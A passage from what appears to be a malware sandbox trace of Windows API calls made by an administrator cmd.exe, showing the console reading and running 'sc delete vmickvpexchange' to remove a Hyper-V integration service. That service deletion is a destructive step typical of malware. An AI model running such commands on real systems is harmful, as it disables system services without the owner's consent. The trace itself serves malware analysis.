0x1b0000 [0062.227] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c4610, Size=0x8) returned 0x1c98f0 [0062.227] FindClose (in: hFindFile=0x1c5c00 | out: hFindFile=0x1c5c00) returned 1 [0062.227] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0062.228] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0062.228] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.228] GetProcessHeap () returned 0x1b0000 [0062.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9c40 [0062.228] GetConsoleTitleW (in: lpConsoleTitle=0x1c9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.228] GetProcessHeap () returned 0x1b0000 [0062.228] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9c40, Size=0xac) returned 0x1c9c40 [0062.228] GetProcessHeap () returned 0x1b0000 [0062.228] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9c40) returned 0xac [0062.228] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmickvpexchange") returned 1 [0062.228] GetProcessHeap () returned 0x1b0000 [0062.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9c40 | out: hHeap=0x1b0000) returned 1 [0062.229] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0062.229] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0062.229] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0062.229] GetProcessHeap () returned 0x1b0000 [0062.229] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0062.229] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.230] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.230] GetProcessHeap () returned 0x1b0000 [0062.230] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0062.230] GetProcessHeap () returned 0x1b0000 [0062.230] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c5c00 [0062.230] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmickvpexchange", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmickvpexchange", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmickvpexchange", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x798, dwThreadId=0x48c)) returned 1 [0062.237] CloseHandle (hObject=0x50) returned 1 [0062.237] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0062.237] GetProcessHeap () returned 0x1b0000 [0062.237] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc230 | out: hHeap=0x1b0000) returned 1 [0062.237] GetEnvironmentStringsW () returned 0x1cba10* [0062.237] GetProcessHeap () returned 0x1b0000 [0062.237] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xae8) returned 0x1cc500 [0062.237] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0062.237] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0062.238] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0062.238] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0062.238] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd7000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0062.238] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0062.724] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0062.724] CloseHandle (hObject=0x54) returned 1 [0062.724] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0062.724] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0062.724] GetProcessHeap () returned 0x1b0000 [0062.724] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc500 | out: hHeap=0x1b0000) returned 1 [0062.724] GetEnvironmentStringsW () returned 0x1cba10* [0062.724] GetProcessHeap () returned 0x1b0000 [0062.724] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cfb10 [0062.724] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0062.724] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0062.724] GetProcessHeap () returned 0x1b0000 [0062.724] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0062.724] GetEnvironmentStringsW () returned 0x1cba10* [0062.724] GetProcessHeap () returned 0x1b0000 [0062.724] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cfb10 [0062.724] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0062.724] GetProcessHeap () returned 0x1b0000 [0062.724] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c00 | out: hHeap=0x1b0000) returned 1 [0062.724] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0062.727] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0062.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.728] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0062.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.728] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0062.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.728] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0062.728] GetConsoleOutputCP () returned 0x1b5 [0062.728] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.728] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.728] GetProcessHeap () returned 0x1b0000 [0062.728] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0062.728] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b00 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1cd0 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9a80 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0062.729] GetProcessHeap () returned 0x1b0000 [0062.729] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0062.729] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0062.729] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.729] GetFileType (hFile=0x120) returned 0x3 [0062.729] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.729] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0062.729] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0062.729] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.729] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0062.729] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0062.730] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.730] GetFileType (hFile=0x120) returned 0x3 [0062.730] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0062.730] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] GetFileType (hFile=0xb8) returned 0x3 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmickvpexchange\n") returned 1 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmickvpexchange\n") returned 1 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmickvpexchange\n") returned 1 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmickvpexchange\n") returned 1 [0062.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmickvpexchange\n") returned 1 [0062.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vmickvpexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mickvpexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ickvpexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="ckvpexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="gvpexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="upexchange\n") returned 1 [0062.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, 